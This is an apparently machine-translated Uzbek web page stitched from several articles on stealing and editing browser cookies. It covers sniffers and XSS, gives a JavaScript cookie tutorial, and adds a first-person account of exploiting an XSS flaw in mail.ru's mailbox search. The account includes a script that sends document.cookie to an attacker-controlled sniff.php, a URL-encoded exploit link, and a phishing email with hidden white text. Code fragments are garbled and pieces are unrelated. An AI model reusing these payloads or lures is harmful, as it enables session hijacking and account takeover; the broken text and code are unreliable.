Parol brauzerda cookie-fayllardan saqlangan. Cookie-dan parolni qanday chiqarish mumkin. Cookie qiymatini olish

Cookie-fayllar- veb-sayt tomonidan foydalanuvchining kompyuterida saqlangan matn fayli ko'rinishidagi ma'lumotlar. Autentifikatsiya ma'lumotlarini (login/parol, ID, telefon raqami, pochta qutisi manzili), foydalanuvchi sozlamalari, kirish holatini o'z ichiga oladi. Brauzer profilida saqlanadi.

Cookie faylini buzish veb-resursga tashrif buyuruvchining sessiyasini o'g'irlash (yoki "o'g'irlash"). Shaxsiy ma'lumotlar nafaqat jo'natuvchi va qabul qiluvchiga, balki uchinchi shaxsga - ushlashni amalga oshirgan shaxsga ham ega bo'ladi.

Cookie fayllarini buzish vositalari va usullari

Kompyuter o'g'rilari, haqiqiy hayotdagi hamkasblari kabi, ko'nikma, epchillik va bilimdan tashqari, albatta, o'z vositalariga ega - asosiy kalitlar va zondlarning o'ziga xos arsenaliga ega. Keling, xakerlar Internet foydalanuvchilaridan cookie-fayllarni olish uchun foydalanadigan eng mashhur hiylalarni ko'rib chiqaylik.

Sniffers

Tarmoq trafigini kuzatish va tahlil qilish uchun maxsus dasturlar. Ularning nomi inglizcha "sniff" (sniff) fe'lidan kelib chiqqan, chunki. tugunlar o'rtasida uzatilgan paketlarni tom ma'noda "chiqib oling".

Ammo tajovuzkorlar seans ma'lumotlari, xabarlar va boshqa maxfiy ma'lumotlarni ushlab qolish uchun snayferdan foydalanadilar. Ularning hujumlarining maqsadlari asosan himoyalanmagan tarmoqlar bo'lib, u erda cookie fayllari ochiq HTTP sessiyasida yuboriladi, ya'ni ular amalda shifrlanmagan. (Ommaviy Wi-Fi bu borada eng zaif hisoblanadi.)

Foydalanuvchi tuguni va veb-server o'rtasidagi Internet kanaliga snifferni joylashtirish uchun quyidagi usullar qo'llaniladi:

  • Tarmoq interfeyslarini (markazlar, kalitlar) "tinglash";
  • trafikni tarmoqlash va nusxalash;
  • tarmoq kanali bo'shlig'iga ulanish;
  • jabrlanuvchining trafigini snifferga yo'naltiruvchi maxsus hujumlar orqali tahlil qilish (MAC-spoofing, IP-spoofing).

XSS qisqartmasi Cross Site Scripting degan ma'noni anglatadi. Foydalanuvchi ma'lumotlarini o'g'irlash uchun veb-saytlarga hujum qilish uchun foydalaniladi.

XSS printsipi quyidagicha:

  • tajovuzkor veb-sayt, forum veb-sahifasiga yoki xabarga (masalan, ijtimoiy tarmoqda yozishmalarda) zararli kodni (maxsus niqoblangan skript) kiritadi;
  • jabrlanuvchi zararlangan sahifaga o'tadi va o'z shaxsiy kompyuterida o'rnatilgan kodni faollashtiradi (bosadi, havolaga amal qiladi va hokazo);
  • o'z navbatida, bajarilgan zararli kod foydalanuvchining maxfiy ma'lumotlarini brauzerdan (xususan, cookie-fayllardan) "chiqarib oladi" va uni tajovuzkorning veb-serveriga yuboradi.

Dasturiy ta'minotning XSS mexanizmini "implantatsiya qilish" uchun xakerlar veb-serverlar, onlayn xizmatlar va brauzerlardagi barcha zaifliklardan foydalanadilar.

Barcha XSS zaifliklari ikki turga bo'linadi:

  • Passiv. Hujum veb-sahifada ma'lum bir skriptni so'rash orqali olinadi. Zararli kodni veb-sahifadagi turli shakllarga kiritish mumkin (masalan, saytning qidiruv satriga). Passiv XSSga eng sezgir bo'lganlar ma'lumotlar kelganda HTML teglarini filtrlamaydigan resurslardir;
  • Faol. To'g'ridan-to'g'ri serverda joylashgan. Va ular jabrlanuvchining brauzerida faollashtirilgan. Ulardan scammers tomonidan har xil turdagi bloglar, chatlar va yangiliklar tasmalarida faol foydalaniladi.

Xakerlar o'zlarining XSS skriptlarini ehtiyotkorlik bilan "kamuflyaj" qilishadi, shunda qurbon hech narsadan shubhalanmaydi. Ular fayl kengaytmasini o'zgartiradilar, kodni tasvir sifatida o'tkazadilar, ularni havolaga rioya qilishga undaydilar va qiziqarli kontent bilan ularni jalb qiladilar. Natijada: o'z qiziqishini boshqara olmaydigan shaxsiy kompyuter foydalanuvchisi o'z qo'li bilan (sichqonchani bosish bilan) XSS skripti muallifi - kompyuter yovuzligiga seans kukilarini (login va parol bilan!) yuboradi.

Cookie almashtirish

Barcha cookie fayllari saqlanadi va veb-serverga yuboriladi (ular "kelgan") hech qanday o'zgarishsiz - asl shaklida - bir xil qiymatlar, satrlar va boshqa ma'lumotlar bilan. Ularning parametrlarini ataylab o'zgartirish cookie fayllarini almashtirish deb ataladi. Boshqacha qilib aytganda, cookie-fayllarni almashtirganda, hujumchi o'zini orzu qilgandek ko'rsatadi. Masalan, onlayn-do'konda to'lovni amalga oshirayotganda, cookie to'lov miqdorini pastga qarab o'zgartiradi - shuning uchun xaridlarda "tejamkorlik" yuzaga keladi.

Ijtimoiy tarmoqdagi boshqa birovning hisobidan o'g'irlangan seans kukilari boshqa seansga va boshqa shaxsiy kompyuterga "qo'shiladi". O'g'irlangan cookie-fayllar egasi o'z sahifasida ekan, jabrlanuvchining akkauntiga (yozuvlar, kontent, sahifa sozlamalari) to'liq kirish huquqiga ega bo'ladi.

Cookie-fayllarni “tahrirlash” quyidagilar yordamida amalga oshiriladi:

  • Opera brauzerida "Cookie-fayllarni boshqarish..." funksiyalari;
  • FireFox uchun cookie-fayllar menejeri va kengaytirilgan cookie menejeri qo'shimchalari;
  • IECookiesView yordam dasturlari (faqat Internet Explorer);
  • AkelPad, NotePad yoki Windows Notepad kabi matn muharriri.
Ma'lumotlarga jismoniy kirish

Bir necha bosqichlardan iborat juda oddiy amalga oshirish sxemasi. Ammo bu faqat jabrlanuvchining ochiq seansli kompyuteri, masalan, VKontakte, qarovsiz qoldirilgan taqdirdagina samarali bo'ladi (va uzoq vaqt davomida!):

  • Barcha saqlangan cookie-fayllarni ko'rsatish uchun brauzerning manzil satriga javascript funksiyasi kiritilgan.
  • "ENTER" tugmasini bosgandan so'ng ularning barchasi sahifada paydo bo'ladi.
  • Cookie-fayllar nusxalanadi, faylga saqlanadi va keyin flesh-diskga o'tkaziladi.
  • Boshqa kompyuterda cookie-fayllar yangi seansda almashtiriladi.
  • Jabrlanuvchining hisobiga kirishga ruxsat beriladi.
  • Qoidaga ko'ra, xakerlar yuqoridagi vositalardan (+ boshqalar) birgalikda (chunki ko'plab veb-resurslarda himoya darajasi ancha yuqori) va alohida (foydalanuvchilar haddan tashqari sodda bo'lsa) foydalanadilar.

    XSS + hidlovchi
  • XSS skripti yaratiladi, u onlayn sniffer manzilini belgilaydi (uyda ishlab chiqarilgan yoki ma'lum bir xizmat).
  • Zararli kod .img (tasvir formati) kengaytmasi bilan saqlanadi.
  • Keyin bu fayl veb-sayt sahifasiga, chatga yoki shaxsiy xabarga yuklanadi - bu erda hujum amalga oshiriladi.
  • Foydalanuvchining e'tibori yaratilgan "tuzoq" ga qaratiladi (bu erda ijtimoiy muhandislik kuchga kiradi).
  • Agar tuzoq ishga tushsa, jabrlanuvchining brauzeridagi cookie-fayllar sniffer tomonidan ushlanadi.
  • Hujumchi sniffer jurnallarini ochadi va o'g'irlangan cookie fayllarini oladi.
  • Keyinchalik, yuqoridagi vositalar yordamida hisob egasining huquqlarini olish uchun almashtirishni amalga oshiradi.
  • Cookie-fayllarni xakerlikdan himoya qilish
  • Shifrlangan ulanishdan foydalaning (tegishli protokollar va xavfsizlik usullaridan foydalangan holda).
  • "Yangi bepul dasturiy ta'minot" bilan tanishish uchun shubhali havolalar, rasmlar yoki jozibali takliflarga javob bermang. Ayniqsa, begonalardan.
  • Faqat ishonchli veb-resurslardan foydalaning.
  • "Chiqish" tugmasini bosish orqali ruxsat berilgan seansni tugating (faqat yorliqni yopish emas!). Ayniqsa, agar siz o'z hisobingizga shaxsiy kompyuterdan emas, balki, masalan, Internet-kafedagi shaxsiy kompyuterdan kirgan bo'lsangiz.
  • Brauzerning "Parolni saqlash" funksiyasidan foydalanmang. Saqlangan ro'yxatga olish ma'lumotlari o'g'irlik xavfini sezilarli darajada oshiradi. Dangasa bo'lmang, har bir seans boshida parol va login kiritish uchun bir necha daqiqa vaqtingizni behuda sarflamang.
  • Ijtimoiy tarmoqlar, forumlar, chatlar, veb-saytlarga tashrif buyurganingizdan so'ng, saqlangan cookie-fayllarni o'chiring va brauzer keshini tozalang.
  • Doimiy ravishda brauzerlar va antivirus dasturlarini yangilang.
  • XSS hujumlaridan himoya qiluvchi brauzer kengaytmalaridan foydalaning (masalan, FF uchun NoScript va Google Chrome).
  • Vaqti-vaqti bilan hisob-kitoblarda.
  • Va eng muhimi, dam olish yoki Internetda ishlashda hushyorlik va e'tiborni yo'qotmang!

    JavaScript brauzerda cookie-fayllarni o'rnatish va o'qish imkonini beradi. Ushbu darsda biz cookie-fayllar bilan qanday ishlashni ko'rib chiqamiz, shuningdek, kiritilgan nomni eslab qoladigan va har safar tizimga kirganingizda uni ko'rsatadigan oddiy sahifa yaratamiz.

    Cookie fayllari nima?

    Cookie-fayllar veb-brauzer tomonidan saqlanadigan kichik hajmdagi ma'lumotlardir. Ular sizga foydalanuvchi haqidagi ma'lum ma'lumotlarni saqlash va u sizning sahifangizga har safar tashrif buyurganida uni olish imkonini beradi. Har bir foydalanuvchi o'ziga xos cookie-fayllar to'plamiga ega.

    Odatda, cookie-fayllar veb-server tomonidan saytga tashriflarni kuzatish, saytda ro'yxatdan o'tish va buyurtmalar yoki xaridlar haqidagi ma'lumotlarni saqlash kabi funktsiyalarni bajarish uchun ishlatiladi. Biroq, cookie-fayllardan foydalanish uchun veb-server dasturini ixtiro qilishimiz shart emas. Biz ularni JavaScript yordamida ishlatishimiz mumkin.

    document.cookie xususiyati.

    JavaScript-da cookie-fayllarga hujjat ob'ektining cookie xususiyati yordamida kirish mumkin. Cookie fayllarini quyidagi tarzda yaratishingiz mumkin:

    Va barcha saqlangan cookie-fayllarni quyidagi kabi oling:

    Var x = document.cookie;

    Keling, cookie-fayllarni saqlash va qayta tiklashni batafsil ko'rib chiqaylik.

    Cookie fayllarni saqlash

    Cookie-faylni saqlash uchun biz yaratmoqchi bo'lgan cookie-fayl xususiyatlarini o'z ichiga olgan matn qatoriga document.cookie-ni belgilashimiz kerak:

    document.cookie = "nom = qiymat; muddati = sana; yo'l = yo'l; domen = domen; xavfsiz";

    Xususiyatlari jadvalda tasvirlangan:

    Mulk tavsifi Misol
    ism = qiymat Cookie nomi va uning qiymatini o'rnatadi. foydalanuvchi nomi = Vasya
    muddati = sana Cookie fayllari uchun amal qilish muddatini belgilaydi. Sana Date ob'ektining toGMTString() usuli bilan qaytariladigan formatda bo'lishi kerak. Agar muddati ko'rsatilmagan bo'lsa, brauzer yopilganda cookie o'chiriladi. muddati tugaydi =
    13/06/2003 00:00:00
    yo'l = yo'l Ushbu parametr cookie fayli amal qiladigan saytdagi yo'lni belgilaydi. Faqat belgilangan yo'ldagi hujjatlar cookie qiymatini olishi mumkin. Odatda bu xususiyat bo'sh qoladi, ya'ni faqat cookie-faylni o'rnatgan hujjat unga kirishi mumkin. yo'l=/demo/
    domen=domen Ushbu parametr cookie fayli ishlaydigan domenni belgilaydi. Faqat belgilangan domendagi saytlar cookie qiymatini olishlari mumkin. Odatda bu xususiyat bo'sh qoladi, ya'ni faqat cookie faylini o'rnatgan domen unga kirishi mumkin. domen=veb-sayt
    xavfsiz Ushbu parametr brauzerga cookie-fayllarni serverga yuborish uchun SSL-dan foydalanishni aytadi. Juda kam ishlatiladi. xavfsiz

    Keling, cookie-fayllarni sozlash misolini ko'rib chiqaylik:

    document.cookie = "foydalanuvchi nomi=Vasya; tugashi=02/15/2011 00:00:00";

    Ushbu kod foydalanuvchi nomi cookie-faylini o'rnatadi va unga 2011-yil 15-fevralgacha saqlanadigan "Vasya" qiymatini belgilaydi (Yevropa vaqt formati ishlatiladi!).

    var cookie_date = new Date (2003, 01, 15); document.cookie = "username=Vasya; expires=" + cookie_date.toGMTString();

    Bu kod avvalgi misol bilan bir xil ishni bajaradi, lekin sanani belgilash uchun Date.toGMTString() usulidan foydalanadi. E'tibor bering, Date ob'ektida oy raqamlash 0 dan boshlanadi, ya'ni fevral 01.

    Document.cookie = "logged_in=yes";

    Ushbu kod logged_in cookie faylini o'rnatadi va uni "ha" ga o'rnatadi. Exires atributi o'rnatilmaganligi sababli, brauzer yopilganda cookie o'chiriladi.

    var cookie_date = new Date(); // Joriy sana va vaqt cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

    Ushbu kod logged_in cookie-faylini o'rnatadi va saqlash satrini joriy vaqtdan bir soniya oldin vaqtga o'rnatadi - bu operatsiya kukini darhol o'chiradi. Cookie-fayllarni o'chirishning qo'lda usuli!

    Cookie qiymati qayta kodlanmoqda!

    Cookie qiymati bo'sh joy va ikki nuqta kabi belgilarni to'g'ri saqlash va ko'rsatish uchun qayta kodlanishi kerak. Ushbu operatsiya brauzerning qiymatni to'g'ri talqin qilishini ta'minlaydi. Lego-ni qayta kodlash JavaScript escape() funksiyasi tomonidan amalga oshiriladi. Masalan:

    document.cookie = "username=" + escape("Vasya Pupkin") + "; expires=02/15/2003 00:00:00"; Cookie-fayllarni sozlash funksiyasi

    Agar qiymatlarni qayta kodlash va document.cookie qatorini yaratish kabi oddiy amallarni bajaradigan maxsus funksiya yozsak, cookie fayllarini sozlash osonroq bo‘ladi. Masalan:

    Cookie-set_funktsiyasi (nom, qiymat, muddat, muddat, muddat, yo'l, domen, himoyalangan) ( var cookie_string = name + "=" + escape (qiymat); agar (exp_y) (var tugashi = yangi Sana (exp_y, exp_m, exp_d) ); cookie_string += "; expires=" + expires.toGMTString(); ) if (yo'l) cookie_string += "; path=" + escape (yo'l); if (domen) cookie_string += "; domain=" + escape (domen); agar (xavfsiz) cookie_string += "; xavfsiz"; document.cookie = cookie_string; )

    Funktsiya cookie ma'lumotlarini argument sifatida qabul qiladi, so'ngra tegishli qatorni yaratadi va cookie faylini o'rnatadi.

    Masalan, yaroqlilik muddatisiz cookie-fayllarni o'rnatish:

    set_cookie("foydalanuvchi nomi", "Vasya Qovoq"); set_cookie ("foydalanuvchi nomi", "Vasya Pupkin", 2011, 01, 15);

    Saqlash muddati, sayt domeni, SSL-dan foydalangan holda, lekin yo'lsiz cookie-fayllarni sozlash:

    set_cookie ("foydalanuvchi nomi", "Vasya Pupkin", 2003, 01, 15, "", "sayt", "xavfsiz"); Cookie fayllarini o'chirish funktsiyasi.

    Cookie fayllari bilan ishlash uchun yana bir foydali funksiya quyida keltirilgan. Funktsiya amal qilish muddatini joriy vaqt qiymatidan bir soniya oldinroq qilib belgilash orqali cookie-fayllarni brauzerdan "o'chirib tashlaydi".

    funktsiyani o'chirish_cookie (cookie_name) ( var cookie_date = new Date (); // Joriy sana va vaqt cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString (); )

    Ushbu funktsiyadan foydalanish uchun unga faqat o'chiriladigan cookie nomini kiritishingiz kerak:

    Delete_cookie("foydalanuvchi nomi");

    Cookie qiymatini olish

    Joriy hujjat uchun oldindan o'rnatilgan cookie faylining qiymatini olish uchun siz document.cookie xususiyatidan foydalanishingiz kerak:

    Var x = document.cookie;

    Bu nuqta-vergul bilan ajratilgan nom/qiymat juftliklari roʻyxatidan iborat qatorni qaytaradi hamma joriy hujjat uchun amal qiladigan cookie fayllari. Masalan:

    "foydalanuvchi nomi = Vasya; parol = abc123"

    Ushbu misolda 2 ta cookie-fayl oldindan o'rnatilgan: "Vasya" qiymatiga ega foydalanuvchi nomi va "abc123" qiymatiga ega parol.

    Cookie qiymatini olish funktsiyasi

    Odatda, bizga bir vaqtning o'zida faqat bitta cookie qiymati kerak bo'ladi. Shuning uchun cookie-fayllar qatoridan foydalanish qulay emas! Bu yerda hujjat.cookies stringini qayta ishlovchi funksiya faqat ma’lum bir vaqtda qiziq bo‘lgan cookie-fayllarni qaytaradi:

    get_cookie funksiyasi (cookie_name) ( var natijalar = document.cookie.match ("(^|;)?" + cookie_name + "=([^;]*)(;|$)"); agar (natijalar) qaytsa (unescape) (natijalar)); aks holda null qaytariladi; )

    Bu funktsiya qiziq bo'lgan cookie faylining nomini topish uchun muntazam ifodadan foydalanadi va keyin uni normal belgilar shakliga qayta kodlash uchun unescape() funksiyasi tomonidan qayta ishlanadigan qiymatni qaytaradi. (Agar cookie fayli topilmasa, null qaytariladi.)

    Bu xususiyatdan foydalanish oson. Masalan, foydalanuvchi nomi cookie qiymatini qaytarish uchun:

    Var x = get_cookie("foydalanuvchi nomi");

    Oddiy foydalanish misoli

    Ushbu misolda biz birinchi tashrifingizda ismingizni so'raydigan sahifa yaratdik, keyin u sizning ismingizni cookie faylida saqlaydi va keyingi tashriflarda ko'rsatadi.

    Sahifani yangi oynada oching. Birinchi tashrifingizda, u sizdan ismingizni kiritishingizni va uni cookie faylida saqlashingizni so'raydi. Agar siz yana sahifaga kirsangiz, u ekranda siz kiritgan cookie nomini ko'rsatadi.

    Cookie-fayllar uchun saqlash muddatini joriy sanadan boshlab 1 yil qilib belgiladik, bu shuni anglatadiki, siz uni yopsangiz ham brauzer sizning ismingizni saqlab qoladi.

    Manbani ko‘rish opsiyasini tanlab, brauzeringizda sahifa kodini ko‘rishingiz mumkin. Mana kodning asosiy qismi:

    if (! get_cookie ("foydalanuvchi nomi")) ( var username = prompt ("Iltimos, ismingizni kiriting", ""); if (foydalanuvchi nomi) ( var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth(); var cookie_day = current_date.getDate(); set_cookie("foydalanuvchi nomi", foydalanuvchi nomi, cookie_yil, cookie_oy, cookie_kun); ) ) else ( var username = get_cookie("foydalanuvchi nomi"); document.write ( "Salom, " + username + ", sahifaga xush kelibsiz!"); document.write("
    Meni unut!"); }

    Ushbu dars sizga tashrif buyuruvchilaringiz haqidagi ma'lumotlarni saqlash uchun JavaScript-da cookie-fayllardan qanday foydalanishni ko'rsatdi. E'tiboringiz uchun rahmat! :)

    Cookie nima?

    Http serveriga foydalanuvchining kompyuteridagi ba'zi matnli ma'lumotlarni saqlash va undan keyin kirish imkonini beruvchi mexanizm mavjud. Ushbu ma'lumot cookie deb ataladi. Aslida, har bir cookie bir juftlikdir: parametr nomi va uning qiymati. Har bir cookie fayliga u tegishli domen ham tayinlanadi. Xavfsizlik nuqtai nazaridan, barcha brauzerlarda http serveriga faqat o'z domenining cookie-fayllariga kirishga ruxsat beriladi. Bundan tashqari, cookie-fayllar yaroqlilik muddatiga ega bo'lishi mumkin, bu holda ular barcha brauzer oynalarini yopsangiz ham, shu sanagacha kompyuterda saqlanadi.


    Cookie-fayllar nima uchun muhim?

    Barcha ko'p foydalanuvchi tizimlari foydalanuvchini aniqlash uchun cookie-fayllardan foydalanadi. Aniqrog'i, foydalanuvchining xizmatga joriy ulanishi, foydalanuvchi sessiyasi. Agar kimdir cookie-fayllaringizni tanisa, u sizning nomingizdan tizimga kirishi mumkin bo'ladi. Chunki hozirda juda kam sonli Internet-resurslar bir foydalanuvchi sessiyasi davomida IP-manzil o'zgarishini tekshiradi.


    Cookie-fayllarni qanday o'zgartirish yoki almashtirish kerak?

    Brauzer ishlab chiquvchilari cookie-fayllarni tahrirlash uchun o'rnatilgan vositalarni taqdim etmaydi. Ammo siz oddiy bloknot bilan o'tishingiz mumkin.


    1-qadam: matnli matnli fayl yarating

    Windows ro'yxatga olish kitobi muharriri 5.00 versiyasi



    @="C:\\IE_ext.htm"

    Uni IE_ext.reg nomi ostida saqlang

    2-qadam: Yaratilgan fayldan foydalanib, Windows ro'yxatga olish kitobiga o'zgartirishlar qo'shing.

    3-qadam: matnli matnli fayl yarating

    < script language ="javascript">
    external.menuArguments.clipboardData.setData("Matn" , external.menuArguments.document.cookie);

    external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
    ogohlantirish (external.menuArguments.document.cookie);


    Uni C:\IE_ext.htm nomi ostida saqlang

    4-qadam: Bizni qiziqtirgan veb-saytga o'tamiz.

    5-qadam: Sahifaning bo'sh joyini o'ng tugmasini bosing va menyu bandini tanlang "Cookie-fayllar bilan ishlash". Buferga kirishga ruxsat bering. Ushbu saytdagi cookie-fayllaringiz vaqtinchalik xotiraga o'tadi. Siz ularning bloknotini qo'yishingiz va ko'rishingiz mumkin.


    6-qadam: Ba'zi cookie-fayllarni o'zgartirish uchun C:\IE_ext.htm faylini almashtiring test nomi kuki nomi bilan, sinov qiymati- uning ma'nosi haqida, testdomain.ru- sayt domeniga. Agar kerak bo'lsa, shunga o'xshash qatorlarni qo'shing. Boshqarish qulayligi uchun men skriptga o'zgartirishdan oldin va keyin joriy cookie-fayllarning chiqishini qo'shdim: ogohlantirish (external.menuArguments.document.cookie);

    7-qadam: 5-bosqichni yana bajaring va keyin sahifani yangilang.

    Xulosa: biz ushbu Internet-resursga yangilangan cookie-fayllar bilan kiramiz.

    JavaScript yordamida cookie-fayllarni qanday o'g'irlash mumkin?

    Agar tajovuzkor jabrlanuvchining kompyuterida o'zboshimchalik bilan JavaScript skriptini bajarish imkoniyatini topsa, u joriy cookie-fayllarni juda oson o'qiy oladi. Misol:


    var str= document.cookie;

    Ammo u ularni o'z saytiga o'tkaza oladimi, chunki yuqorida aytib o'tganimdek, JavaScript skripti boshqa domenda joylashgan saytga qo'shimcha tasdiqsiz kira olmaydi? Aniqlanishicha, JavaScript skripti istalgan http serverida joylashgan istalgan tasvirni yuklay oladi. Shu bilan birga, yuklab olish so'rovidagi har qanday matn ma'lumotlarini ushbu rasmga o'tkazing. Misol: http://hackersite.ru/xss.jpg?text_info Shunday qilib, agar siz ushbu kodni ishlatsangiz:

    var img=new Image();

    img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


    keyin cookie "rasm" ni yuklab olish so'rovida tugaydi va tajovuzkorga "ketadi".

    "Rasm" ni yuklab olish uchun bunday so'rovlarni qanday hal qilish kerak?

    Buzg'unchi faqat PHP-ni qo'llab-quvvatlaydigan hostingni topishi va u erda quyidagi kodni joylashtirishi kerak:


    Keyin ushbu skript uchun barcha so'rov parametrlari faylda saqlanadi log.txt. Oldin tasvirlangan JavaScript skriptini almashtirish qoladi http://hackersite.ru/xss.jpg ushbu PHP skriptiga boradigan yo'lga.


    Pastki chiziq

    Men XSS zaifliklaridan foydalanishning eng oddiy usulini ko'rsatdim. Ammo bu shuni ko'rsatadiki, ko'p foydalanuvchili Internet saytida kamida bitta bunday zaiflik mavjudligi tajovuzkorga o'z resurslaridan sizning nomingizdan foydalanishga imkon berishi mumkin.

    Unda axborot xavfsizligi masalalariga bag'ishlangan bepul tadbirda qatnashish taklif etildi. Tadbir mening shahrimda bo'lib o'tganligi sababli, men u erga borishim kerak deb qaror qildim. Birinchi dars XSS kabi veb-saytlardagi zaifliklarga bag'ishlandi. Darsdan so'ng men olingan bilimlarni real sharoitda mustahkamlashim kerak deb qaror qildim. Men shahrim bilan bog'liq bo'lgan bir nechta saytlarni tanladim va skriptimni barcha shakllarga kiritishga harakat qila boshladim. Aksariyat hollarda skript filtrlangan. Ammo "ogohlantirish" ishga tushdi va mening xabarim paydo bo'ldi. Men topilgan zaiflik haqida ma'murlarga xabar berdim va ular tezda hamma narsani tuzatdilar.

    Shunday kunlarning birida mail.ru dagi so‘nggi xatlarni tekshirar ekanman, pochta qutisidagi xatlarni qidirish shakli e’tiborimni tortdi. Vaqti-vaqti bilan men eski maktublarim to'plamidan kerakli narsani topish uchun ushbu qidiruvdan foydalanardim. Xo'sh, so'nggi bir necha kun ichida men "ogohlantirish" ni deyarli hamma joyda qo'yganim sababli, qo'lim refleksli ravishda ushbu qidiruv shakliga etib bordi. Men skriptim uchun kodni yozdim va Enter tugmasini bosdim. Ekranda og'riqli tanish xabarni ko'rganimda hayron bo'lganimni tasavvur qiling...


    Ochiq InfoSec kunlari ma'ruzasida ma'ruzachi dasturchilar bunday zaifliklarga juda shubha bilan qarashlarini va "ogohlik? Xo'sh, nima? Bu xavfli emas". Agar boshqa saytlarda men o'z xabarim bilan faqat shu oyna bilan qanoatlansam, bu holda men oldinga borishga va bunday "ogohlantirish" dan nima chiqishi mumkinligini ko'rsatishga qaror qildim.

    Shunday qilib, skript ishlaydi, ya'ni zaiflik mavjud. Shuning uchun siz boshqa skriptni ishga tushirishga harakat qilishingiz mumkin. Masalan, boshqa foydalanuvchining cookie fayllarini bizga yuboradigan skript. Skript ishlashi uchun foydalanuvchini skriptimizni bajarishga majburlashimiz kerak. Buni unga tegishli havola bilan xat yuborish orqali amalga oshirish mumkin, uni bosgandan so'ng pochta qutisi qidiriladi va bizga kerak bo'lgan kod bajariladi.

    Zaiflikning mexanikasini tushunish uchun biroz vaqt va ko'p tajribalar kerak bo'ldi. Ba'zan skript ishlagan, ba'zida filtrlangan. Biroz harakatlardan so'ng, harflarni qidirish ijobiy natija bergan taqdirdagina skript 100% ishlashi empirik tarzda aniqlandi. Ya'ni, foydalanuvchi bizning skriptimiz bilan qidiruvni amalga oshirganda, uning pochta qutisida ko'rsatilgan parametrlarga muvofiq kamida bitta harf topilishi kerak. Buni tartibga solish qiyin emas.

    Bundan tashqari, "ogohlantirish" o'rniga bizga cookie-fayllarni snifferimizga o'tkazadigan skript kerak. Biz ushbu skriptni alohida faylga yozamiz va uni qidiruvimizga yuklaymiz. Kerakli kod bilan test.js faylini yaratdim va uni xostingga yukladim. Skript kodi quyidagicha:

    Img=yangi rasm();
    img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
    F() funksiyasi (
    joy="http://www.solife.ru";
    }
    setTimeout (F, 5000);

    Men bu erda nimaga aniqlik kiritmoqchiman. Keling, o'zimizni hujumchining o'rniga qo'yaylik. Bizga havolani bosish uchun foydalanuvchi kerak. Uni buni qilishga qanday majburlashim mumkin? Siz oltin tog'larni va'da qilishingiz mumkin va ularni olish uchun siz bizning saytga havolaga o'tishingiz kerak. Lekin bu ish bermaydi deb o'ylamayman. Odamlar endi bunga tushmaydilar (men o'zim bunday xatlarni o'qimasdan ham doimiy ravishda o'chirib tashlayman). Shuning uchun biz insoniy rahm-shafqat bilan o'ynaymiz, chunki u hali ham tabiatda mavjud. Sizdan yo'qolib borayotgan hayvonlarni saqlab qolish uchun saytga ovoz berishingizni so'raymiz. Birinchidan, biz cookie-fayllarni olamiz, keyin esa foydalanuvchini ovoz berish saytiga yo'naltiramiz. Qayta yo'naltirish uchun kutish vaqti 5 soniyaga o'rnatildi, aks holda cookie-fayllarni snifferga o'tkazish uchun vaqt topolmadi va foydalanuvchi darhol hayvonlar haqidagi saytga yo'naltirildi. "Ogohlantirish" o'rniga men quyidagi skriptdan foydalandim:

    Ssenariylar tugagach, xat yozishni boshladim. Men shunday bir narsa bilan keldim:


    Bu juda bema'ni bo'lib chiqdi, lekin men shartlarni imkon qadar haqiqatga yaqinlashtirishga harakat qildim. Maktubning oxirida skript bilan chiziq bor, bu bizning xatimiz qidiruv qilganimizda topilishi uchun. Chiziq keraksiz savollar tug'dirmasligi uchun uni oq rangga bo'yadim. Shuningdek, satr tanib olinmasligi va havolaga aylantirilmasligi uchun "http" so'ziga bo'sh joy qo'ydim. Aks holda, skript chizig'i oq shriftda yozilganiga qaramay, havola oluvchi tomonidan ko'k rangda ta'kidlanadi va bizga bu kerak emas. Bo'sh joy bo'lishiga qaramay, aqlli qidiruv bu qatorni topadi va taniydi.

    E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

    Hech narsa filtrlanmagani uchun skript uchun URL kodlashdan foydalandim. Shuningdek, qidiruv uchun “q_folder=0” parametrini qo‘shdim, shunda qidiruv “Kiruvchi” papkasida sodir bo‘ladi.

    Xat tayyor, jo‘natamiz. Men ikkinchi pochta qutimni qabul qiluvchi bilan bir xil xizmatda ishlatganman. Keling, boshqa qutiga nima kelganini ko'rib chiqaylik.

    Bizning skript matnimiz ko'rinmaydi, chunki u fonga aralashadi. Keling, havolani bosing va nima bo'lishini ko'ramiz. Foydalanuvchi biz ko'rsatgan parametr asosida elektron pochta xabarlari uchun qidiruv natijalariga ko'chiriladi. Biz yuborgan xat qidiruv natijalarida ko'rinadi. Ayni paytda bizning skriptimiz allaqachon ishlagan va foydalanuvchining cookie-fayllarini snifferga yuborgan. 5 soniyadan so'ng (vaqt skript sozlamalariga bog'liq), foydalanuvchi ovoz berish saytiga yo'naltiriladi.

    Men sniff.txt faylimni tekshiraman:

    Mening maqsadim boshqa odamlarning qutilarini o'g'irlash yoki ularga kirish emasligi sababli, men hikoyani shu erda tugataman. Ammo nazariy jihatdan, siz cookie-fayllaringizni boshqa birovniki bilan almashtirishingiz va boshqa birovning pochta qutisiga kirishingiz mumkin. Umuman olganda, agar tajovuzkor nishonga qiziqsa, u olingan ma'lumotlardan foydalanishni topadi.

    Men Sergey Belovga rahmat aytmoqchiman (

    COOKIES kokilarini qanday olish mumkin degan savolga. Menga kukilar kerak, qanday qilib olsam bo'ladi, ayting iltimos!!! 1 vlad eeeeeeeeeeeeeee tomonidan so'radi Cookie fayllari nima?
    Gap shundaki, www texnologiyalarini ishlab chiqish va Internetga dasturlash tillarini joriy etish jarayonida dastur ishlab chiquvchilari juda jiddiy muammoga duch kelishdi - har bir aniq foydalanuvchi uchun algoritm natijalarini uzoq vaqt davomida qanday saqlash kerak? HTTP protokolining o'zi dasturiy ta'minot jarayonlari natijalarini yozib olish imkoniyatiga ega emas. Seanslardan foydalanish ham muammoni hal qilmaydi, chunki ularning ta'siri serverga ulanish uzilganidan so'ng darhol tugaydi.
